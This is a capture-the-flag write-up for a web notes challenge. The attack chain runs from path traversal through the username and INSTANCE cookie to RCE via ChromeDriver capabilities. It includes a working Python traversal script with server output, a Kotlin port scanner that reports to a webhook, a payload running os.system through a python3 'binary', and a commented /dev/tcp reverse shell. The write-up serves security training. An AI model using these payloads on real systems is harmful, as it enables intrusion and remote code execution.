The solution:
- Should not exploit
0-day
or ChromiumRCE
; - Should leverage
RCE
on the server withoutsandbox
; - Should also include the
flag
in the formatINTIGRITI{.*}
;
This web challenge
allows us to create some notes
:
<!DOCTYPE html>
<html lang="en">
<head>
<title>My Notes</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="preconnect" href="https://cdnjs.cloudflare.com">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="stylesheet" href="/static/challenge_styles.css">
<link rel="preconnect" href="https://stackpath.bootstrapcdn.com">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap">
</head>
<body>
<div id="app">
<div class="toast-container" v-if="showToast">
<div class="toast-notification" :class="toastType">
<div class="toast-content">
<i class="toast-icon" :class="toastIcon"></i>
<span class="toast-message">{{ message }}</span>
<button class="toast-close" @click="hideToast"><i class="fas fa-times"></i></button>
</div>
<div class="toast-progress"><div class="toast-progress-bar" :style="{ width: toastProgress + '%' }"></div></div>
</div>
</div>
<nav class="navbar">
<div class="navbar-container">
<a class="navbar-brand" href="#"><i class="fas fa-sticky-note"></i>My Notes App</a>
<ul class="navbar-nav">
<li v-if="isLoggedIn" class="nav-item"><a class="nav-link" href="#" @click="logout"><i class="fas fa-sign-out-alt mr-1"></i>Logout</a></li>
</ul>
</div>
</nav>
<div class="container main-content">
<section v-if="!isLoggedIn" class="row justify-content-center fade-in">
<div class="col-md-6">
<div class="card">
<div class="card-header"><h2 class="mb-0"><i class="fas fa-user-circle"></i>Login / Register</h2></div>
<div class="card-body">
<div class="form-group">
<label for="username"><i class="fas fa-user mr-1"></i>Username</label>
<input type="text" id="username" class="form-control" v-model="username" placeholder="Enter your username">
</div>
<div class="form-group">
<label for="password"><i class="fas fa-lock mr-1"></i>Password</label>
<input type="password" id="password" class="form-control" v-model="password" placeholder="Enter your password">
</div>
<div class="d-flex">
<button class="btn btn-primary mr-2" @click="login"><i class="fas fa-sign-in-alt mr-1"></i>Login</button>
<button class="btn btn-secondary" @click="register"><i class="fas fa-user-plus mr-1"></i>Register</button>
</div>
</div>
</div>
</div>
</section>
<section v-else class="fade-in">
<div class="welcome-section">
<div class="welcome-text">
<h2><i class="fas fa-book"></i>Welcome, {{ username }}</h2>
<p>Manage your notes securely in your personal instance.</p>
</div>
<div class="instance-info">
<div class="instance-id"><i class="fas fa-fingerprint"></i>Instance ID: {{ instanceId }}</div>
<div class="report-form">
<div class="input-group">
<input type="text" class="form-control" v-model="visitUrl" placeholder="Enter URL to report">
<div class="input-group-append"><button class="btn btn-warning" @click="startBot"><i class="fas fa-bug mr-1"></i>Report</button></div>
</div>
</div>
</div>
</div>
<div class="card mb-4">
<div class="card-header"><h3 class="mb-0"><i class="fas fa-plus-circle"></i>Add a New Note</h3></div>
<div class="card-body">
<div class="form-group">
<label for="newNote"><i class="fas fa-pen mr-1"></i>Write a note</label>
<textarea id="newNote" class="form-control" v-model="newNote" placeholder="Type your note here" rows="3"></textarea>
<button class="btn btn-success mt-3" @click="addNote"><i class="fas fa-save mr-1"></i>Add Note</button>
</div><hr>
<div class="form-group">
<label><i class="fas fa-file-upload mr-1"></i>Upload a file to add note</label>
<div class="custom-file">
<input type="file" class="custom-file-input" id="customFile" @change="uploadFile">
<label class="custom-file-label" for="customFile">Choose file</label>
</div>
<small class="form-text text-muted"><i class="fas fa-info-circle mr-1"></i>Maximum file size: 20KB</small>
</div>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="mb-0"><i class="fas fa-list-alt"></i>Your Notes</h3>
</div>
<ul class="list-group list-group-flush">
<li v-for="note in notes" :key="note.id" class="list-group-item d-flex justify-content-between align-items-center">
<span class="note-content" v-html="note.content"></span>
<button v-if="note.id" class="delete-button" @click="deleteNote(note.id)" title="Delete note"><i class="fas fa-trash-alt"></i></button>
</li>
<li v-if="notes.length === 0" class="list-group-item empty-state">
<i class="fas fa-sticky-note"></i>
<p>No notes yet. Add your first note above!</p>
</li>
</ul>
</div>
</section>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
<script src="/static/app.js"></script>
<script>
$(document).ready(function() {
$(".custom-file-input").on("change", function() {
var fileName = $(this).val().split("\\").pop(); $(this).siblings(".custom-file-label").addClass("selected").html(fileName||"Choose file");
});
});
</script>
</body>
</html>
We list as usual the technologies used by the application:
- https://deepwiki.com/axios/axios
- https://deepwiki.com/benoitc/gunicorn
- https://deepwiki.com/chromium/chromium
- https://deepwiki.com/maxcountryman/flask-login
- https://deepwiki.com/pallets/click
- https://deepwiki.com/pallets/flask
- https://deepwiki.com/pallets/itsdangerous
- https://deepwiki.com/pallets/jinja
- https://deepwiki.com/pallets/werkzeug
- https://deepwiki.com/pallets-eco/flask-sqlalchemy
- https://deepwiki.com/python/cpython#sqlite3
- https://deepwiki.com/python-greenlet/greenlet
- https://deepwiki.com/SeleniumHQ/selenium/4.2-python-bindings
- https://deepwiki.com/sqlalchemy/sqlalchemy
- https://deepwiki.com/theskumar/python-dotenv
- https://deepwiki.com/vuejs/vue
Furthermore, this kind of challenge always screams about path traversal
so we can start with that.
Any LLM
scan will help to quickly find a juicy directory traversal:
- User Directory Construction
user_dir = get_instance_path(instance_id, "notes", current_user.username)
- Potential Issue: If
current_user.username
is not sanitized, a malicious username instance like../../etc/passwd
could result in directory traversal.
- Downloading Files in
/download/<username>/<path:filename>
user_dir = get_instance_path(instance_id, "notes", username) # uix_username_instance
response = send_from_directory(user_dir, filename, as_attachment=True)
- Risk: The filename parameter is a Flask
<path:filename>
, which allows slashes and traversal. If not sanitized, this is a classic path traversal vector.
We understand that we could retrieve most of the server files locally/remotely such as /app/instances/default.db
, /app/app.py
, /app/static/app.js
, /app/Dockerfile
and so on.
We then ask the LLM
to generate a testing script.py
1 based on that classic attack to connect to the host to read those hard-coded files:
import http.client, json, uuid, re
HOST, PORT = "localhost", 1337
USERNAME = PASSWORD = ".." # The prompting may require several attempts
conn = http.client.HTTPSConnection("challenge-0625.intigriti.io") # http.client.HTTPConnection(HOST, PORT)
# res = conn.request("POST", "/api/register", body=json.dumps({"username": "..", "password": ".."}), headers={ "Content-Type": "application/json", "Content-Length": str(len(json.dumps({"username": "..", "password": ".."}))), "Referer": "https://challenge-0625.intigriti.io/notes", "Cookie": "INSTANCE=../" }); conn.request("POST", "/api/register", body=payload, headers=headers); res = conn.getresponse(); print(res.read())
login_payload = json.dumps({"username": USERNAME, "password": PASSWORD})
conn.request(
"POST",
"/api/login",
body=login_payload,
headers={
"Content-Type": "application/json",
"Content-Length": str(len(login_payload)),
"Referer": "https://challenge-0625.intigriti.io/notes", # f"http://{HOST}:{PORT}/notes"
"Cookie": "INSTANCE=../" # ".", "..", "./.", "..//" and so on
}
)
response = conn.getresponse()
login_body = response.read().decode()
login_headers = response.getheaders()
login_cookies = {m.group(1): m.group(2) for k, v in login_headers if k.lower() == "set-cookie" for m in [re.match(r"([A-Za-z0-9_]+)=([^;]+)", v)] if m} # Shortened
login_cookies["INSTANCE"] = "../"
cookie_header = "; ".join(f"{k}={v}" for k, v in login_cookies.items())
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex # To refresh the pages
multipart_body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="file"; filename="filename"\r\n'
f"Content-Type: application/octet-stream\r\n"
f"\r\n"
).encode() + b"" + f"\r\n--{boundary}--\r\n".encode()
upload_headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Content-Length": str(len(multipart_body)),
"Cookie": cookie_header,
"Accept": "application/json, text/plain, */*",
}
conn.request("POST", "/api/notes/upload", body=multipart_body, headers=upload_headers)
upload_response = conn.getresponse().read()
conn.request("GET", "/download/../Dockerfile", headers={"Cookie": cookie_header})
download_response = conn.getresponse()
print(download_response.read()) # .decode()
_ = """
{"message": "Registration successful", "success": true}
{"message": "Login successful", "success": true}
{"message": "File uploaded successfully", "success": true}
FROM python:3.13-slim
RUN apt-get update && \
apt-get install -y wget unzip curl && \
apt-get install -y chromium chromium-driver && \
rm -rf /var/lib/apt/lists/*
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
# Create a non-root user to run the application
RUN groupadd -r appuser && useradd -r -g appuser -m appuser
WORKDIR /app
# Copy application files
COPY . /app
# Copy flag to a location that will be readable but not writable
RUN RANDOM_FLAG="1337fEX6Pvj2TFsP" && \
RANDOM_FILENAME="1337X9Q2EDRFEfoj" && \
echo "INTIGRITI{$RANDOM_FLAG}" > /flag_$RANDOM_FILENAME.txt && \
chmod 444 /flag_$RANDOM_FILENAME.txt && \
echo "Flag copied to /flag_$RANDOM_FILENAME.txt"
[...]
"""; conn.close()
The fun part is that it will work for existing folders too Cookie:INSTANCE=../__pycache__;
(as redirecting the bot
anywhere)
but won't work on /etc
or /proc
since there is no write access for the notes
(as Permission denied:'/app/instances/../../etc/notes'
) folder.
It does not seem very logical, given the amount of source code to finish that fast?
If we have a bit of free time, we could take a look at what seemed to be the intended way.
Good ideas will come by looking at the new files created in our Docker
container (and server database, as others will probably do) when we report url's to the bot
:
# htop
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1 appuser 20 0 373110 70980 14620 S 0.0 0.0 0:00.00 python3
60 appuser 20 0 0 0 0 Z 0.0 0.0 0:00.00 chrome_crashpad
70 appuser 20 0 0 0 0 Z 0.0 0.0 0:00.00 chromium
71 appuser 20 0 0 0 0 Z 0.0 0.0 0:00.00 chromium
72 appuser 20 0 0 0 0 Z 0.0 0.0 0:00.00 chrome_crashpad
100 appuser 20 0 0 0 0 Z 0.0 0.0 0:00.00 chromium
# tree -D
.
|-- chrome_profile
| |-- Default
| | |-- Account Web Data
| | |-- Account Web Data-journal
| | |-- Affiliation Database
| | |-- Affiliation Database-journal
| | |-- AutofillStrikeDatabase
| | | |-- LOCK
| | | `-- LOG
| | |-- BookmarkMergedSurfaceOrdering
| | |-- Login Data
| | |-- Login Data For Account
| | |-- Login Data For Account-journal
| | |-- Login Data-journal
| | |-- Network Action Predictor
| | |-- Network Action Predictor-journal
| | |-- Network Persistent State
| | |-- PersistentOriginTrials
| | | |-- LOCK
| | | `-- LOG
| | |-- Preferences *
| | |-- PreferredApps
| | |-- Session Storage
| | | |-- 000003.log
| | | |-- CURRENT
| | | |-- LOCK
| | | |-- LOG
| | | `-- MANIFEST-000000
| | |-- Shared Dictionary
| | | |-- cache
| | | | |-- index
| | | | `-- index-dir
| | | | `-- the-real-index
| | | |-- db
| | | `-- db-journal
| | |-- SharedStorage
| | |-- Sync Data
| | | `-- LevelDB
| | | |-- 000003.log
| | | |-- CURRENT
| | | |-- LOCK
| | | |-- LOG
| | | `-- MANIFEST-000000
| | |-- Top Sites
| |-- DevToolsActivePort *
| |-- First Run
| `-- segmentation_platform
| |-- ukm_db
| `-- ukm_db-wal
`-- notes
# cat /app/instances/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee/chrome_profile/DevToolsActivePort
40005
/devtools/browser/aaaaaaaa-bbbb-cccc-dddd-ffffffffffff
# cat /app/instances/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee/chrome_profile/Default/Preferences
{"alternate_error_pages":{"enabled":false},"autofill":{"enabled":false},"browser":{"check_default_browser":false},"distribution":{"import_bookmarks":false,"import_history":false,"import_search_engine":false,"make_chrome_default_for_user":false,"skip_first_run_ui":true},"dns_prefetching":{"enabled":false},"profile":{"content_settings":{"pattern_pairs":{"https://*,*":{"media-stream":{"audio":"Default","video":"Default"}}}},"default_content_setting_values":{"geolocation":1},"default_content_settings":{"geolocation":1,"mouselock":1,"notifications":1,"popups":1,"ppapi-broker":1},"password_manager_enabled":false},"safebrowsing":{"enabled":false},"search":{"suggest_enabled":false},"translate":{"enabled":false}}
# sleep 10
# cat /app/instances/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee/chrome_profile/Default/Preferences
{"NewTabPage":{"PrevNavigationTime":"1"},"accessibility":{"captions":{"headless_caption_enabled":false,"live_caption_language":"en-US"}},"account_tracker_service_last_update":"1","alternate_error_pages":{"backup":false},"autocomplete":{"retention_policy_last_version":137},"autofill":{"last_version_deduped":137},"bookmark":{"storage_computation_last_update":"1"},"browser":{"check_default_browser":false,"window_placement":{"bottom":590,"left":10,"maximized":false,"right":790,"top":10,"work_area_bottom":600,"work_area_left":0,"work_area_right":800,"work_area_top":0}},"commerce_daily_metrics_last_update_time":"1","default_search_provider":{"guid":""},"distribution":...,"type":2,"window_count":1}],"session_data_status":5},"settings":{"force_google_safesearch":false},"signin":{"allowed":false,"cookie_clear_on_exit_migration_notice_complete":true},"sync":{"passwords_per_account_pref_migration_done":true},"syncing_theme_prefs_migrated_to_non_syncing":true,"tab_group_saves_ui_update_migrated":true,"toolbar":{"pinned_cast_migration_complete":true,"pinned_chrome_labs_migration_complete":true},"translate":{"enabled":false},"translate_site_blacklist":[],"translate_site_blocklist_with_time":{}}
Reading few articles will help us understand what we can do with Preferences
and DevToolsActivePort
files.
We will have arbitrary file writing
via Chrome Preferences
to modify the default download directory beforehand but cannot overwrite
files anyway, as the bot
would loose context here.
import io.ktor.client.*
import io.ktor.client.request.*
import io.ktor.client.engine.cio.*
import io.ktor.client.statement.*
import io.ktor.http.*
import kotlinx.coroutines.*
import kotlinx.serialization.*
import kotlinx.serialization.json.*
suspend fun check(x: Int, y: Int) { // "DevTools listening on ws://127.0.0.1:50010/devtools/browser/aaaaaaaa-bbbb-cccc-dddd-gggggggggggg"
var p = x
while (p <= y) {
try {
val j = awaitAll(async { send("http://localhost:$p/session") } )?.bodyAsText()?.let { Json.decodeFromString<ResponseBody>(it) }
when {
j?.value != null -> {
cdp = p; send("https://webhook.com/web5?$cdp"); break // LFI
}
}
} catch (_: Exception) { println(_) }
p += 1; delay(2)
}
}
Relying on great old challenge
exploits will help to trigger2 the bot
:
body:JSON.stringify({
"capabilities": {
"alwaysMatch": {
"goog:chromeOptions": {
"binary": "/usr/local/bin/python3", // `/usr/local/bin/python3 -c "__import__('os').system(f'ls{chr(32)}/>/app/static/ls.sh')";`
"args": ["-cimport os;os.system('cp /flag* /dev/shm/.flag');"] // `os.system('/bin/sh -i >& /dev/tcp/1.2.3.4/1234 0>&1');`
}
}
}
});
There are a myriad of ways to read the flag3 46dbd7c31f3c90dad7b330eb2f4e10314c4274fbbdbf68addf042e1465a487a3
but too lazy to discover them all.
- Better instance and traversal management;
- Do not use
Flask
norChromium
; - Adding
Content Security Policy
.
It is not hard to imagine what a mess it would be to get all this to work properly in a real-life scenario.